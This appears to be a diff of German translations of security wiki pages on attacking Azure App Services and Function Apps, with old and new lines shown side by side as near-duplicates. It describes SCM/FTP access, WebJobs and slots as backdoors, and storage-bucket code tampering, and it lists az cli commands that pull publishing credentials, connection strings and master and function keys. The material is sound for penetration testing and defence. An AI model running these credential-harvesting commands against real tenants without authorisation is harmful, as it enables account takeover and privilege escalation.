- **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis.
|
||||
- Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert.
|
||||
- **Container**: Es ist möglich, einen Container in den App Service bereitzustellen, indem die URL des Containers und die Anmeldeinformationen zu dessen Zugriff angegeben werden.
|
||||
- **Mounts**: Es ist möglich, 5 Mounts von Speicherkonten zu erstellen, wobei diese Azure Blob (schreibgeschützt) oder Azure Files sind. Die Konfiguration speichert den Zugriffsschlüssel über das Speicherkonto.
|
||||
- **Container**: Es ist möglich, einen Container im App Service bereitzustellen, indem die URL des Containers und die Anmeldeinformationen zu dessen Zugriff angegeben werden.
|
||||
- **Mounts**: Es ist möglich, 5 Mounts von Speicherkonten zu erstellen, wobei diese Azure Blob (schreibgeschützt) oder Azure Files sein können. Die Konfiguration speichert den Zugriffsschlüssel über das Speicherkonto.
|
||||
- **Netzwerk**: Kann öffentlich verfügbar oder nur über private Endpunkte von einem VNet zugänglich sein.
|
||||
|
||||
## Basisauthentifizierung
|
||||
|
||||
Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob **Basisauthentifizierung aktiviert werden soll** (standardmäßig deaktiviert). Dies aktiviert im Wesentlichen **SCM (Source Control Manager) und FTP (File Transfer Protocol)** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann.
|
||||
Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob **die Basisauthentifizierung aktiviert werden soll** (standardmäßig deaktiviert). Dies aktiviert im Wesentlichen **SCM (Source Control Manager) und FTP (File Transfer Protocol)** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann.
|
||||
|
||||
Um auf die SCM- und FTP-Server zuzugreifen, sind ein **Benutzername und ein Passwort** erforderlich. Daher stellt Azure einige **APIs zur Verfügung, um die URLs** zu diesen Plattformen und die Anmeldeinformationen zu erhalten.
|
||||
|
||||
Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, sich zu verbinden und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
|
||||
Der **FTP-Server hat keine besonderen Funktionen**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, eine Verbindung herzustellen und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten.
|
||||
|
||||
Das SCM
|
||||
Es ist möglich, sich über einen Webbrowser unter `https://<SMC-URL>/BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
Die SCM
|
||||
Es ist möglich, sich über einen Webbrowser mit `https://<SMC-URL>/BasicAuth` mit der SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu ist die Plattform, die **sowohl das SCM als auch eine Web- und API-Schnittstelle** zur Verwaltung eines App Service verwaltet und Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsfunktionen bereitstellt. Es ist über die SCM-URL zugänglich, die in der Webanwendung definiert ist.
|
||||
Kudu ist die Plattform, die **sowohl die SCM als auch eine Web- und API-Schnittstelle** zur Verwaltung eines App Service verwaltet und Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsmöglichkeiten bietet. Es ist über die SCM-URL zugänglich, die in der Webanwendung definiert ist.
|
||||
|
||||
Beachten Sie, dass die von App Services und von Function Apps verwendeten Kudu-Versionen unterschiedlich sind, wobei die Version der Function Apps viel eingeschränkter ist.
|
||||
|
||||
@@ -72,10 +73,10 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm
|
||||
|
||||
Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben.
|
||||
Es gibt 2 Arten von Webjobs:
|
||||
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, wird auch der Webjob gestoppt.
|
||||
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen.
|
||||
- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob.
|
||||
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie z.B. Batch-Datenaktualisierungen oder Wartungsroutinen.
|
||||
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten zu **eskalieren**.
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** zu den angehängten verwalteten Identitäten zu eskalieren.
|
||||
|
||||
Darüber hinaus ist es immer interessant, die **Protokolle** zu überprüfen, die von den Webjobs generiert werden, da sie **sensible Informationen** enthalten könnten.
|
||||
|
||||
@@ -83,13 +84,13 @@ Darüber hinaus ist es immer interessant, die **Protokolle** zu überprüfen, di
|
||||
|
||||
Azure App Service Slots werden verwendet, um **verschiedene Versionen der Anwendung** im selben App Service bereitzustellen. Dies ermöglicht es Entwicklern, neue Funktionen oder Änderungen in einer separaten Umgebung zu testen, bevor sie in die Produktionsumgebung bereitgestellt werden.
|
||||
|
||||
Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bestimmten Slot weiterzuleiten, was nützlich für A/B-Tests und für **Hintertürzwecke** ist.
|
||||
Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bestimmten Slot zu leiten, was nützlich für A/B-Tests und für **Hintertürzwecke** ist.
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie in der Lage sein, **die Function Apps ebenfalls dort aufgelistet zu sehen**.
|
||||
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps dort aufgelistet sehen**.
|
||||
|
||||
Daher haben beide Dienste tatsächlich größtenteils die **gleichen Konfigurationen, Funktionen und Optionen im az cli**, obwohl sie sie möglicherweise etwas anders konfigurieren (wie Standardwerte von appsettings oder die Verwendung eines Speicherkontos in den Function Apps).
|
||||
Daher haben beide Dienste tatsächlich größtenteils die **gleichen Konfigurationen, Funktionen und Optionen im az cli**, obwohl sie diese möglicherweise etwas anders konfigurieren (wie Standardwerte von appsettings oder die Verwendung eines Speicherkontos in den Function Apps).
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -176,6 +177,10 @@ az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured SMC users by your account
|
||||
az webapp deployment user show
|
||||
## If any user is created, the username should appear in the "publishingUserName" field
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -283,10 +288,10 @@ cd msdocs-python-flask-webapp-quickstart
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
In das SCM-Portal einloggen oder über FTP einloggen, ist es möglich, in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
In das SCM-Portal einloggen oder über FTP einloggen, ist es möglich, im `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur eine Verbindung über FTP herzustellen und die Datei `output.tar.gz` zu ändern, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
**Ein Angreifer könnte diese Datei herunterladen, sie modifizieren und sie erneut hochladen, um beliebigen Code in der Webanwendung auszuführen.**
|
||||
|
||||
@@ -298,10 +303,10 @@ Dieses Tutorial basiert auf dem vorherigen, verwendet jedoch ein Github-Reposito
|
||||
2. Erstellen Sie eine neue Python-Webanwendung in Azure.
|
||||
3. Ändern Sie im `Deployment Center` die Quelle, melden Sie sich mit Github an, wählen Sie das geforkte Repo aus und klicken Sie auf `Speichern`.
|
||||
|
||||
Wie im vorherigen Fall ist es möglich, in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
Wie im vorherigen Fall ist es möglich, im `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur eine Verbindung über FTP herzustellen und die Datei `output.tar.gz` zu ändern und eine Bereitstellung erneut auszulösen, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern und eine Bereitstellung erneut auszulösen, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
## Privilegieneskalation
|
||||
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Azure Function Apps** sind ein **serverloser Compute-Service**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
|
||||
**Azure Function Apps** sind ein **serverloser Compute-Dienst**, der es Ihnen ermöglicht, kleine Codeabschnitte, die als **Funktionen** bezeichnet werden, auszuführen, ohne die zugrunde liegende Infrastruktur zu verwalten. Sie sind so konzipiert, dass sie Code als Reaktion auf verschiedene Trigger ausführen, wie z.B. **HTTP-Anfragen, Timer oder Ereignisse von anderen Azure-Diensten** wie Blob Storage oder Event Hubs. Function Apps unterstützen mehrere Programmiersprachen, darunter C#, Python, JavaScript und Java, was sie vielseitig für den Aufbau von **ereignisgesteuerten Anwendungen**, die Automatisierung von Workflows oder die Integration von Diensten macht. Sie sind kosteneffektiv, da Sie normalerweise nur für die Rechenzeit bezahlen, die verwendet wird, wenn Ihr Code ausgeführt wird.
|
||||
|
||||
> [!HINWEIS]
|
||||
> Beachten Sie, dass **Funktionen eine Teilmenge der App-Dienste sind**, daher werden viele der hier besprochenen Funktionen auch von Anwendungen verwendet, die als Azure Apps (`webapp` in cli) erstellt wurden.
|
||||
|
||||
### Verschiedene Pläne
|
||||
|
||||
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit einer nutzungsabhängigen Preisgestaltung, wobei Funktionsinstanzen je nach Bedarf hinzugefügt oder entfernt werden. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung erfordern.
|
||||
- **Flex Consumption Plan**: Bietet **dynamisches, ereignisgesteuertes Skalieren** mit nutzungsabhängiger Preisgestaltung, wobei Funktionsinstanzen je nach Bedarf hinzugefügt oder entfernt werden. Es unterstützt **virtuelles Networking** und **vorab bereitgestellte Instanzen**, um Kaltstarts zu reduzieren, was es für **variable Workloads** geeignet macht, die keine Containerunterstützung erfordern.
|
||||
- **Traditional Consumption Plan**: Die Standard-Serverless-Option, bei der Sie **nur für Rechenressourcen bezahlen, wenn Funktionen ausgeführt werden**. Es skaliert automatisch basierend auf eingehenden Ereignissen und umfasst **Optimierungen für Kaltstarts**, unterstützt jedoch keine Containerbereitstellungen. Ideal für **intermittierende Workloads**, die automatisches Skalieren erfordern.
|
||||
- **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmten Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen.
|
||||
- **Premium Plan**: Entwickelt für **konstante Leistung**, mit **vorwärmenden Arbeitern**, um Kaltstarts zu eliminieren. Es bietet **erweiterte Ausführungszeiten, virtuelles Networking** und unterstützt **benutzerdefinierte Linux-Images**, was es perfekt für **geschäftskritische Anwendungen** macht, die hohe Leistung und erweiterte Funktionen benötigen.
|
||||
- **Dedicated Plan**: Läuft auf dedizierten virtuellen Maschinen mit **vorhersehbarer Abrechnung** und unterstützt manuelles oder automatisches Skalieren. Es ermöglicht das Ausführen mehrerer Apps im selben Plan, bietet **Rechenisolierung** und gewährleistet **sicheren Netzwerkzugang** über App Service Environments, was es ideal für **langfristige Anwendungen** macht, die eine konsistente Ressourcenzuteilung benötigen.
|
||||
- **Container Apps**: Ermöglicht das Bereitstellen von **containerisierten Funktions-Apps** in einer verwalteten Umgebung, zusammen mit Microservices und APIs. Es unterstützt benutzerdefinierte Bibliotheken, die Migration von Legacy-Apps und **GPU-Verarbeitung**, wodurch die Verwaltung von Kubernetes-Clustern entfällt. Ideal für **ereignisgesteuerte, skalierbare containerisierte Anwendungen**.
|
||||
|
||||
### **Speicher-Buckets**
|
||||
|
||||
Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code zum Ausführen) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern.
|
||||
Beim Erstellen einer neuen nicht containerisierten Function App (aber mit dem Code, der ausgeführt werden soll) werden die **Code- und anderen funktionsbezogenen Daten in einem Speicherkonto gespeichert**. Standardmäßig erstellt die Webkonsole für jede Funktion ein neues Konto, um den Code zu speichern.
|
||||
|
||||
Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen er gespeichert werden kann) geändert, sodass der **Code der App auf den neuen geändert und beim nächsten Aufruf der Funktion ausgeführt wird**.
|
||||
Darüber hinaus wird der **Code der App auf den neuen Code geändert und beim nächsten Aufruf der Funktion ausgeführt**, wenn der Code im Bucket geändert wird (in den verschiedenen Formaten, in denen er gespeichert werden kann).
|
||||
|
||||
> [!VORSICHT]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da **Schreibzugriff auf diesen Bucket** es einem Angreifer ermöglichen würde, **den Code zu kompromittieren und Berechtigungen** für die verwalteten Identitäten innerhalb der Function App zu eskalieren.
|
||||
@@ -30,7 +30,7 @@ Darüber hinaus wird der Code im Bucket (in den verschiedenen Formaten, in denen
|
||||
|
||||
Es ist auch möglich, die **Master- und Funktionsschlüssel** im Speicherkonto im Container **`azure-webjobs-secrets`** im Ordner **`<app-name>`** in den JSON-Dateien zu finden, die Sie dort finden können.
|
||||
|
||||
Beachten Sie, dass Funktionen auch die Möglichkeit bieten, den Code an einem entfernten Ort zu speichern, indem Sie einfach die URL dazu angeben.
|
||||
Beachten Sie, dass Funktionen auch erlauben, den Code an einem entfernten Ort zu speichern, indem einfach die URL dazu angegeben wird.
|
||||
|
||||
### Networking
|
||||
|
||||
@@ -40,17 +40,17 @@ Bei Verwendung eines HTTP-Triggers:
|
||||
- Es ist auch möglich, **Zugriff auf eine Function App von einem internen Netzwerk (VPC)** zu gewähren oder einzuschränken.
|
||||
|
||||
> [!VORSICHT]
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, von einer verwundbaren Funktion, die dem Internet ausgesetzt ist, **auf interne Netzwerke zu pivotieren**.
|
||||
> Dies ist aus der Perspektive eines Angreifers sehr interessant, da es möglich sein könnte, von einer verwundbaren Funktion, die dem Internet ausgesetzt ist, zu **internen Netzwerken zu pivotieren**.
|
||||
|
||||
### **Function App-Einstellungen & Umgebungsvariablen**
|
||||
|
||||
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLER Berechtigung auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
|
||||
Es ist möglich, Umgebungsvariablen innerhalb einer App zu konfigurieren, die sensible Informationen enthalten könnten. Darüber hinaus werden standardmäßig die Umgebungsvariablen **`AzureWebJobsStorage`** und **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (unter anderem) erstellt. Diese sind besonders interessant, da sie **den Kontoschlüssel enthalten, um mit VOLLBERECHTIGUNGEN auf das Speicherkonto zuzugreifen, das die Daten der Anwendung enthält**. Diese Einstellungen sind auch erforderlich, um den Code aus dem Speicherkonto auszuführen.
|
||||
|
||||
Diese Umgebungsvariablen oder Konfigurationsparameter steuern auch, wie die Funktion den Code ausführt, zum Beispiel, wenn **`WEBSITE_RUN_FROM_PACKAGE`** existiert, zeigt es die URL an, wo sich der Code der Anwendung befindet.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Innerhalb der Linux-Sandbox befindet sich der Quellcode in **`/home/site/wwwroot`** in der Datei **`function_app.py`** (wenn Python verwendet wird), der Benutzer, der den Code ausführt, ist **`app`** (ohne Sudo-Rechte).
|
||||
Innerhalb der Linux-Sandbox befindet sich der Quellcode in **`/home/site/wwwroot`** in der Datei **`function_app.py`** (wenn Python verwendet wird), der Benutzer, der den Code ausführt, ist **`app`** (ohne sudo-Berechtigungen).
|
||||
|
||||
In einer **Windows**-Funktion, die NodeJS verwendet, befand sich der Code in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, der Benutzername war **`mawsFnPlaceholder8_f_v4_node_20_x86`** und war Teil der **Gruppen**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
@@ -61,22 +61,24 @@ Genau wie [**VMs**](vms/index.html) können Funktionen **verwaltete Identitäten
|
||||
Die **systemzugewiesene** Identität ist eine verwaltete Identität, die **nur die Funktion**, die sie zugewiesen hat, verwenden kann, während die **benutzerzugewiesenen** verwalteten Identitäten verwaltete Identitäten sind, die **von jedem anderen Azure-Dienst verwendet werden können**.
|
||||
|
||||
> [!HINWEIS]
|
||||
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, zu versuchen, alle zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
|
||||
> Genau wie bei [**VMs**](vms/index.html) können Funktionen **1 systemzugewiesene** verwaltete Identität und **mehrere benutzerzugewiesene** haben, daher ist es immer wichtig, zu versuchen, alle von ihnen zu finden, wenn Sie die Funktion kompromittieren, da Sie möglicherweise Berechtigungen für mehrere verwaltete Identitäten von nur einer Funktion eskalieren können.
|
||||
>
|
||||
> Wenn keine systemzugewiesene verwaltete Identität verwendet wird, aber eine oder mehrere benutzerverwaltete Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten.
|
||||
> Wenn keine systemzugewiesene Identität verwendet wird, aber eine oder mehrere benutzerzugewiesene Identitäten an eine Funktion angehängt sind, können Sie standardmäßig kein Token erhalten.
|
||||
|
||||
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadatenendpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
|
||||
Es ist möglich, die [**PEASS-Skripte**](https://github.com/peass-ng/PEASS-ng) zu verwenden, um Tokens von der standardmäßigen verwalteten Identität vom Metadaten-Endpunkt zu erhalten. Oder Sie könnten sie **manuell** erhalten, wie in:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadatenendpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
|
||||
Beachten Sie, dass Sie einen Weg finden müssen, um **alle verwalteten Identitäten zu überprüfen, die eine Funktion angehängt hat**, da der Metadaten-Endpunkt **nur die standardmäßige verwenden wird** (siehe den vorherigen Link für weitere Informationen).
|
||||
|
||||
## Zugriffsschlüssel
|
||||
|
||||
> [!HINWEIS]
|
||||
> Beachten Sie, dass es keine RBAC-Berechtigungen gibt, um Benutzern den Zugriff auf die Funktionen zu gewähren. Die **Funktionsausführung hängt vom Trigger** ab, der beim Erstellen ausgewählt wurde, und wenn ein HTTP-Trigger ausgewählt wurde, könnte es erforderlich sein, einen **Zugriffsschlüssel** zu verwenden.
|
||||
> Beachten Sie, dass es keine RBAC-Berechtigungen gibt, um Benutzern den Zugriff auf die Funktionen zu gewähren. Der **Funktionsaufruf hängt vom Trigger** ab, der beim Erstellen ausgewählt wurde, und wenn ein HTTP-Trigger ausgewählt wurde, könnte es erforderlich sein, einen **Zugriffsschlüssel** zu verwenden.
|
||||
|
||||
Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger** ist es möglich, das **Zugriffsschlüssel-Autorisierungsniveau** anzugeben, das erforderlich ist, um die Funktion auszulösen. Drei Optionen sind verfügbar:
|
||||
Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger** ist es möglich, das **Autorisierungsniveau des Zugriffsschlüssels** anzugeben, das erforderlich ist, um die Funktion auszulösen. Drei Optionen sind verfügbar:
|
||||
|
||||
- **ANONYMOUS**: **Jeder** kann über die URL auf die Funktion zugreifen.
|
||||
- **FUNCTION**: Der Endpunkt ist nur für Benutzer zugänglich, die einen **Funktions-, Host- oder Master-Schlüssel** verwenden.
|
||||
@@ -96,7 +98,7 @@ Beim Erstellen eines Endpunkts innerhalb einer Funktion mit einem **HTTP-Trigger
|
||||
|
||||
### Basis-Authentifizierung
|
||||
|
||||
Genau wie in App-Diensten unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
|
||||
Genau wie in App Services unterstützen Funktionen auch die Basis-Authentifizierung, um sich mit **SCM** und **FTP** zu verbinden, um Code mit einem **Benutzernamen und Passwort in einer URL** bereitzustellen, die von Azure bereitgestellt wird. Weitere Informationen dazu finden Sie in:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +106,7 @@ az-app-services.md
|
||||
|
||||
### Github-basierte Bereitstellungen
|
||||
|
||||
Wenn eine Funktion aus einem Github-Repo generiert wird, ermöglicht die Azure-Webkonsole, **automatisch einen Github-Workflow in einem bestimmten Repository zu erstellen**, sodass der Code der Funktion aktualisiert wird, wenn dieses Repository aktualisiert wird. Tatsächlich sieht die Github Action YAML für eine Python-Funktion so aus:
|
||||
Wenn eine Funktion aus einem Github-Repo generiert wird, ermöglicht die Azure-Webkonsole, **automatisch einen Github-Workflow in einem bestimmten Repository zu erstellen**, sodass der Code der Funktion aktualisiert wird, wann immer dieses Repository aktualisiert wird. Tatsächlich sieht die Github Action YAML für eine Python-Funktion so aus:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,16 +194,16 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Berechtigung über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
|
||||
Darüber hinaus wird eine **Managed Identity** erstellt, damit die Github Action aus dem Repository sich damit bei Azure anmelden kann. Dies geschieht durch die Generierung einer föderierten Anmeldeinformation über die **Managed Identity**, die den **Issuer** `https://token.actions.githubusercontent.com` und den **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` ermöglicht.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher kann jeder, der dieses Repository kompromittiert, die Funktion und die daran angehängten Managed Identities kompromittieren.
|
||||
|
||||
### Containerbasierte Bereitstellungen
|
||||
|
||||
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, enthält die Konfiguration die URL des Containers. In der API wird die **`linuxFxVersion`**-Einstellung etwas wie `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
|
||||
Nicht alle Pläne erlauben die Bereitstellung von Containern, aber für die, die es tun, wird die Konfiguration die URL des Containers enthalten. In der API wird die **`linuxFxVersion`** Einstellung etwas wie: `DOCKER|mcr.microsoft.com/...` haben, während in der Webkonsole die Konfiguration die **Bildeinstellungen** anzeigen wird.
|
||||
|
||||
Darüber hinaus **wird kein Quellcode im Speicherkonto** gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist.
|
||||
Darüber hinaus wird **kein Quellcode im Speicher**-Konto gespeichert, das mit der Funktion verbunden ist, da dies nicht erforderlich ist.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -211,10 +213,10 @@ Darüber hinaus **wird kein Quellcode im Speicherkonto** gespeichert, das mit de
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# List functions in an function-app (endpoints)
|
||||
az functionapp function list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
@@ -231,6 +233,9 @@ az functionapp config container show \
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
@@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group <res-group>
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
# Get acess restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get connection strings
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/connectionstrings/list?api-version=2022-03-01"
|
||||
az rest --method GET --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/configreferences/connectionstrings?api-version=2022-03-01"
|
||||
|
||||
# Get SCM credentials
|
||||
az functionapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get function, system and master keys
|
||||
az functionapp keys list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get Host key
|
||||
